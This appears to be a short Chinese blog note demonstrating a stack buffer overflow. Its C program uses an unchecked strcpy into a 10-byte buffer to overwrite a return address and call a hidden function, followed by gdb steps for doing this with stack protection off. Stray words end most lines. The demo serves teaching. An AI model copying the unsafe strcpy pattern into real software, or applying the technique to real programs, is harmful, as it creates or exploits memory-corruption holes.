攻擊代碼:html
#include "stdio.h" #include "string.h" char code[]= "\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41" "\x41\x41\x41" "\x41\x41\x41\x41" "\x41\x41" // two more added "\xbe\x05\x40\x00" // bug address "\x00"; void copy(const char *input) { char buf[10]; strcpy(buf,input); printf("%s \n",buf); } void bug(void) { printf("I shouldn’t have appeared\n"); } int main(int argc,char *argv[]) { copy(code); return 0; }
攻擊過程:app
1 關閉棧保護編譯打開gdb:spa
2 在strcpy和printf兩行都設置斷點,運行,查看rsp寄存器的值,找到strcpy所在的地址。.net
3 運行後查看,此時變爲了bug的地址。code
4 運行程序,達到攻擊目的htm
參考資料:blog
http://os.it168.com/a2009/0530/1059/000001059910.shtmlget
http://blog.csdn.net/liigo/article/details/582231input
http://blog.163.com/jw_chen_cs/blog/static/20221214820124119642246/string